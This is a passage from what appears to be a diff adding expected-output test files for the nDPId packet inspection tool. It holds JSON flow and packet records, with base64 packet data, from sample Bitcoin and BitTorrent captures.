AAAP\/\/UeapJyCNW6eQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UegJwSCNXKeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UerxUSCNYqeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UgI56yCNXKeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UgdeYSCNYaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UghK8iCNX6eQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Ug0QPSCNWKeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UhAfoSCNZKeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UhBs8CCNWaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UhxcFyCNZKeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UiA7RCCNWqeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UiM06CCNY6eQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UilhHSCNWaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UiuZ9SCNW6eQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Uix\/9SCNWaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Ui4++yCNZaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UkMkpSCNXaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UkTZDiCNXaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UkXVniCNYKeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UkZgGSCNXKeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/Ul+wDyCNXaeQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/UmM0OiCNW6c="} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":462,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":139,"flow_first_seen":1301328089970,"flow_last_seen":1301328420526,"flow_tot_l4_data_len":186584,"flow_min_l4_data_len":52,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1342,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"69.118.54.122","src_port":55328,"dst_port":8333,"l4_proto":"tcp","ndpi": {"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00499{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":462,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":139,"flow_first_seen":1301328089970,"flow_last_seen":1301328420526,"flow_tot_l4_data_len":186584,"flow_min_l4_data_len":52,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1342,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"69.118.54.122","src_port":55328,"dst_port":8333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":521,"source":"bitcoin.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1301329304767,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.142","dst_ip":"184.58.165.119","src_port":55487,"dst_port":8333,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00574{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329304,"pkt_ts_usec":767401,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"ACPrIpS0ACNshovhCABFAACdDAhAAEAGDmvAqAGOuDqld9i\/II0stRatNDMFDIAY\/\/9S8AAAAQEICiczELoAVdzf+b602XZlcnNpb24AAAAAAFUAAAABfQAAAQAAAAAAAACYtZBNAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP\/\/uDqldyCNAQAAAAAAAAAAAAAAAAAAAAAA\/\/8mYIQeII0b7ZMAlkQ1dwALwwEA"} +00572{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329304,"pkt_ts_usec":813916,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"ACNshovhACPrIpS0CABFAACdBMxAAHQG4aa4OqV3wKgBjiCN2L80MwUMLLUWrYAYAQTgGAAAAQEICgBV3OcnMxC6+b602XZlcnNpb24AAAAAAFUAAAACfQAAAQAAAAAAAACQtZBNAAAAAAEAAAAAAAAAAAAAAAAAAAAAAP\/\/JmCEHti\/AQAAAAAAAAAAAAAAAAAAAAAA\/\/+4OqV3II2BHa1kLxLeCgCuwgEA"} +00562{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329305,"pkt_ts_usec":5443,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"ACPrIpS0ACNshovhCABFAACX6RJAAEAGMWbAqAGOuDqld9i\/II0stRcWNDMFdYAY\/\/+hogAAAQEICiczEL0AVdz7+b602XZlcmFjawAAAAAAAAAAAAD5vrTZZ2V0YWRkcgAAAAAAAAAAAF324OL5vrTZYWRkcgAAAAAAAAAAHwAAAKr+QCYBbLWQTQEAAAAAAAAAAAAAAAAAAAAAAP\/\/JmCEHiCN"} +00514{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":527,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329309,"pkt_ts_usec":391663,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACPrIpS0ACNshovhCABFAABxpRVAAEAGdYnAqAGOuDqld9i\/II0stRd5NDMFdYAY\/\/\/QMQAAAQEICiczEOgAVd0S+b602WludgAAAAAAAAAAACUAAAAM+O86AQEAAABjYqN6+8l5NV5ILuoyGWmRHhZ4vrImNA17xLD+35pOKQ=="} +00514{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329331,"pkt_ts_usec":545459,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACPrIpS0ACNshovhCABFAABx5FNAAEAGNkvAqAGOuDqld9i\/II0stRe2NDMFdYAY\/\/+YyAAAAQEICiczEcYAVd7J+b602WludgAAAAAAAAAAACUAAACKqR5BAQEAAADko5gKOXTkTY\/EAL+Sv3gEjdoxRRE7Qf9xD2E6EXEwBA=="} +00514{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329341,"pkt_ts_usec":453151,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACPrIpS0ACNshovhCABFAABxKyJAAEAG73zAqAGOuDqld9i\/II0stRfzNDMFdYAY\/\/9dZQAAAQEICiczEikAVedx+b602WludgAAAAAAAAAAACUAAAAzU8q9AQEAAAA9VkTQaGen6\/H+3Jup6DC4ZO3kyKuoimJiIHOV7IvS9Q=="} +00514{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329365,"pkt_ts_usec":380730,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACPrIpS0ACNshovhCABFAABxah1AAEAGsIHAqAGOuDqld9i\/II0stRgwNDMFdYAY\/\/8vBAAAAQEICiczExgAVetQ+b602WludgAAAAAAAAAAACUAAABZR+UtAQEAAAB\/0JQInOCDWb2Kk3ogFME+p5OgUuk0fjTxXrDH4P6ptg=="} +00507{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329377,"pkt_ts_usec":463241,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"ACPrIpS0ACNshovhCABFAABrMlpAAEAG6ErAqAGOuDqld9i\/II0stRhtNDMFdYAY\/\/+rxgAAAQEICiczE5AAVfSo+b602WFkZHIAAAAAAAAAAB8AAAC0PZC+Abe1kE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0pO10ogjQ=="} +00514{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":548,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329389,"pkt_ts_usec":680818,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACPrIpS0ACNshovhCABFAABx6yRAAEAGL3rAqAGOuDqld9i\/II0stRikNDMFdYAY\/\/8Y5wAAAQEICiczFAoAVflg+b602WludgAAAAAAAAAAACUAAAAyBRj4AQEAAAA0v73UnM8KQiW\/kw2WSJrGMb6zIZPWW83kRQkooap6cw=="} +00508{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329390,"pkt_ts_usec":813430,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"ACPrIpS0ACNshovhCABFAABr7iZAAEAGLH7AqAGOuDqld9i\/II0stRjhNDMFdYAY\/\/9bdgAAAQEICiczFBYAVf4m+b602WFkZHIAAAAAAAAAAB8AAABC2ommAb21kE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/1t6E90gjQ=="} +00509{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":552,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329425,"pkt_ts_usec":905543,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"ACPrIpS0ACNshovhCABFAABr+olAAEAGIBvAqAGOuDqld9i\/II0stRkYNDMFdYAY\/\/\/9sQAAAQEICiczFXQAVf6X+b602WFkZHIAAAAAAAAAAB8AAACHMlocAbe1kE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/0TIINYgjQ=="} +00453{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":554,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329452,"pkt_ts_usec":455530,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ACNshovhACPrIpS0CABFAABIDS5AAHQG2Zm4OqV3wKgBjiCN2L80MwV1LLUZT4AYAQGOZAAAAQEICgBWFpInMxV0+b602XZlcmFjawAAAAAAAAAAAAA="} +01870{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329452,"pkt_ts_usec":712485,"pkt_caplen":1127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1127,"pkt_l4_len":1093,"pkt":"ACNshovhACPrIpS0CABFAARZDTBAAHQG1Ya4OqV3wKgBjiCN2L80MwsxLLUZT4AYAQHM7QAAAQEICgBWFqsnMxZ++n6+MXdJ4u+twdkAAAAAAAACAAAA4BAp+E5t3fS408bFqpE\/\/hkfWcf\/zfqjsSMAAAAAAAACAAAAIfi7dhvcEdCBSNSxRq5Hm6R9wZrQayfYcl4AAAAAAAACAAAAHMtkV8QTp9IoDHGKNgOG0XWJOUzCLcCG1ooAAAAAAAACAAAAspqp8Za6fkh6Z\/bk8M\/lDCL9JGw9rp2yIgMAAAAAAAACAAAANkOEl+sX7xUI3Nd0J07eBc7racPQUz3PEC4AAAAAAAACAAAAl5K8Hydtr+3R296ltOG1eAvrVsJab5yOV7IAAAAAAAACAAAA6f5FMFep8IMaloV0PabEOSL8qMJK+TrLHVoAAAAAAAACAAAA24myD4vHq\/HO6OzbjFefT\/YSFwl5pZF5qXgAAAAAAAACAAAAd9SYBXQsqh7m1St16FFO6Rg8EW\/SRSMgBE4AAAAAAAACAAAAyeoaNnxM6RcNDykulfymi3EoTRyecsgs4kwAAAAAAAACAAAAMBaoNlda28fwPeD55ImDakJDCofgRs7fGxcAAAAAAAACAAAAQ0zQpFBY+vD7A+MBLFWG2lHwGYE0AT5mZTQAAAAAAAACAAAAayK0b\/8KK0Ik6bTCIrR91I5J\/pqn6PJDA80AAAAAAAACAAAAOps8JKFEM7olbQ82oOr+msKxdCiS8Z9G6G0AAAAAAAACAAAAl4ulFuAOeouIhQvRHKZ51s0k1m9ntFNzkzAAAAAAAAACAAAAKrdbM40QuqIihsksc8BXhg4Eu70MzPZFoPEAAAAAAAACAAAAztQuJbCVvsVMJ2tPBuiN7I0HTV1\/kUqnYrQAAAAAAAACAAAAyW0FjhwgD\/VfNzGDGcXdN9ufgnALxTxNLUAAAAAAAAACAAAAohaiXHMEESUpOqZPu4KD+TAoztB2q6hvLioAAAAAAAACAAAA8Gn\/NdxL4xH\/hgO\/wfKa0bJ1nGjvVn0hWEYAAAAAAAACAAAAPWe2sZ66IMqkxTA\/4bmb62fFY5dtRACLcUkAAAAAAAACAAAARIHwm4wncIDZTlzJWkkMmEK6LcyGkmXREegAAAAAAAACAAAACieUYGaByb97j7\/Bv\/pr1clbrb6QxY+RHY8AAAAAAAACAAAAnIBUFcPI7oNWjreyJ6bdnFB04xA1Q\/hJ1oUAAAAAAAACAAAA\/vBv+voVdlPr8GRHgS6vEp\/UYi3gD3xDbEYAAAAAAAACAAAArecNbP5tNl6fBXg\/l6JeAj56WZCX17wue54AAAAAAAACAAAAXM8eXOjZ2Yo157oy9cd1Og7GkzRim899UrUAAAAAAAACAAAAy6P7Cxfs6k++VTFzmbisuT7u10INTy11WgUAAAAAAAACAAAA2a+CgrTYJEAL3z44pyE+y+tld\/QwzBgjwMYAAAAAAAA="} +00514{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329459,"pkt_ts_usec":907535,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"ACPrIpS0ACNshovhCABFAABx3JpAAEAGPgTAqAGOuDqld9i\/II0stRlPNDMPVoAY\/\/++0QAAAQEICiczFsgAVhar+b602WludgAAAAAAAAAAACUAAADz4eNcAQEAAAAYg4ufJ32yLdAwF+WR3fXVdidlMCL1gr70pTNlRjPDUw=="} +00510{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"bitcoin.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1301329480,"pkt_ts_usec":211491,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"ACPrIpS0ACNshovhCABFAABrS6VAAEAGzv\/AqAGOuDqld9i\/II0stRmMNDMPVoAY\/\/\/9ZgAAAQEICiczF5MAVhmU+b602WFkZHIAAAAAAAAAAB8AAAADTXMNASC2kE0BAAAAAAAAAAAAAAAAAAAAAAD\/\/206XacgjQ=="} diff --git a/test/results/bittorrent.pcap.out b/test/results/bittorrent.pcap.out new file mode 100644 index 000000000..952fbd250 --- /dev/null +++ b/test/results/bittorrent.pcap.out @@ -0,0 +1,160 @@ +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1455469967246,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.58.216.115","src_port":52888,"dst_port":38305,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469967,"pkt_ts_usec":246718,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4eD1AAEAGAADAqAEDUjrYc86YlaHFzANOp3OTAoAY\/\/\/swwAAAQEIChnb8BkAhEMxE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjhgayboXmHFSZj4="} +00610{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1455469967246,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.58.216.115","src_port":52888,"dst_port":38305,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +01302{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469967,"pkt_ts_usec":465293,"pkt_caplen":624,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":624,"pkt_l4_len":590,"pkt":"xCwDBkn+LFbcjDU0CABFAAJiKFpAAHUG7uJSOthzwKgBA5Whzpinc5NTxcwDkoAZ\/SDtQgAAAQEICgCEQ0UZ2\/AZNDppcHY0NDpSOthzMTI6Y29tcGxldGVfYWdvaTllMTptZDExOnVwbG9hZF9vbmx5aTNlMTE6bHRfZG9udGhhdmVpN2UxMjp1dF9ob2xlcHVuY2hpNGUxMTp1dF9tZXRhZGF0YWkyZTY6dXRfcGV4aTFlMTA6dXRfY29tbWVudGk2ZWUxMzptZXRhZGF0YV9zaXplaTE5MDA5ZTE6cGkzODMwNWU0OnJlcXFpMjU1ZTE6djE1Os68VG9ycmVudCAzLjQuNTI6eXBpNTI4ODhlNjp5b3VyaXA0OlI3zQFlAAAAdAX\/\/7\/\/\/\/\/\/\/\/\/\/\/v\/\/\/\/\/9\/b\/v\/\/\/\/\/\/\/\/\/+\/\/\/f\/\/\/\/\/\/\/\/\/\/\/\/+\/\/\/\/\/\/+\/\/\/\/\/\/\/\/\/\/+\/3\/9\/\/\/\/\/\/\/\/7\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/++\/\/\/\/\/\/\/\/\/3\/\/\/9\/\/\/\/f\/9\/\/\/\/\/9\/\/\/\/\/7\/\/\/\/\/\/\/v\/\/7\/\/\/\/+AAAAABQQAAAJlAAAABQQAAALYAAAABQQAAAB+AAAABQQAAACJAAAABQQAAAE5AAAABQQAAAARAAAABQQAAAK+AAAABQQAAAMvAAAABQQAAAKkAAAABQQAAAGlAAAABQQAAADmAAAABQQAAAHxAAAABQQAAANdAAAABQQAAABXAAAABQQAAADTAAAABQQAAANxAAAABQQAAAJrAAAABQQAAACTAAAABQQAAAFjAAAABQQAAALoAAAABQQAAACGAAAABQQAAAG8AAAABQQAAAMMAAAABQQAAAGu"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1455469967550,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.57.97.83","src_port":52887,"dst_port":53137,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469967,"pkt_ts_usec":550422,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4KZJAAEAGAADAqAEDUjlhU86Xz5EMkOfxIylUooAY70J1ogAAAQEIChnb8UUAFHnUE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjhJMcBHQL4ndrvA="} +00608{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1455469967550,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"82.57.97.83","src_port":52887,"dst_port":53137,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00581{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469967,"pkt_ts_usec":858917,"pkt_caplen":178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":178,"pkt_l4_len":144,"pkt":"xCwDBkn+LFbcjDU0CABFAACkC49AAHcGgo1SOWFTwKgBA8+RzpcjKVSiDJDoNYAYAQJHBAAAAQEICgAUefwZ2\/FFE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wornNx4q0nl1XkqQAAADnFABkMTplaTBlNDppcHY0NDpSOWFTMTI6Y29tcGxldGVfYWdvaTNlMQ=="} +01260{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469968,"pkt_ts_usec":2405,"pkt_caplen":593,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":593,"pkt_l4_len":559,"pkt":"xCwDBkn+LFbcjDU0CABFAAJDC5FAAHcGgOxSOWFTwKgBA8+RzpcjKVUSDJDoNYAZAQLSoQAAAQEICgAUef4Z2\/FFOm1kMTE6dXBsb2FkX29ubHlpM2UxMTpsdF9kb250aGF2ZWk3ZTEyOnV0X2hvbGVwdW5jaGk0ZTExOnV0X21ldGFkYXRhaTJlNjp1dF9wZXhpMWUxMDp1dF9jb21tZW50aTZlZTEzOm1ldGFkYXRhX3NpemVpMTkwMDllMTpwaTUzMTM3ZTQ6cmVxcWkyNTVlMTp2MTU6zrxUb3JyZW50IDMuNC41Mjp5cGk1Mjg4N2U2OnlvdXJpcDQ6UjfNAWUAAAB0Bf\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/f\/\/\/\/\/\/\/\/v\/\/\/\/\/\/\/\/\/\/7\/\/93\/\/\/\/\/\/\/\/\/\/\/+f\/\/\/\/\/7\/\/\/3\/\/\/\/\/\/\/\/v\/\/\/v\/+\/\/3\/\/\/\/\/9\/\/\/\/\/\/1\/\/\/f\/\/v9\/\/\/\/\/\/\/\/\/91\/\/\/\/\/9\/\/\/\/\/\/\/\/\/\/\/\/\/\/4AAAAAFBAAAAtIAAAAFBAAAAngAAAAFBAAAAeYAAAAFBAAAAUUAAAAFBAAAAskAAAAFBAAAAGcAAAAFBAAAArYAAAAFBAAAAVgAAAAFBAAAAQEAAAAFBAAAAjMAAAAFBAAAAqAAAAAFBAAAAMoAAAAFBAAAAxIAAAAFBAAAAlIAAAAFBAAAAc8AAAAFBAAAAkMAAAAFBAAAAagAAAAFBAAAAhsAAAAFBAAAAzgAAAAFBAAAAacAAAAFBAAAAxQAAAAFBAAAAw4AAAAFBAAAAVwAAAAFBAAAAqI="} +00627{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469968,"pkt_ts_usec":2492,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"LFbcjDU0xCwDBkn+CABFAADK\/idAAEAGAADAqAEDUjlhU86Xz5EMkOiMIylXIoAY7zF19AAAAQEIChnb8wcAFHn+aTNlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTpwaTQwOTU5ZTQ6cmVxcWkyNTVlMTp2MTk6wrVUb3JyZW50IE1hYyAxLjguNjY6eW91cmlwNDpSOWFTZQAAAAEP"} +00444{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469968,"pkt_ts_usec":2632,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"LFbcjDU0xCwDBkn+CABFAABCeFJAAEAGAADAqAEDUjlhU86Xz5EMkOkiIylXIoAZ70J1bAAAAQEIChnb8wcAFHn+AAAAAwmf\/wAAAAMUAwA="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1455469969259,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"83.216.184.241","src_port":52895,"dst_port":51413,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469969,"pkt_ts_usec":259674,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4K5tAAEAGAADAqAEDU9i48c6fyNXli2jySWt7B4AYK\/LO3wAAAQEIChnb9+x4G0bsE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjvi3q9Fc8jVIrp0="} +00611{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1455469969259,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"83.216.184.241","src_port":52895,"dst_port":51413,"l4_proto":"tcp","ndpi": 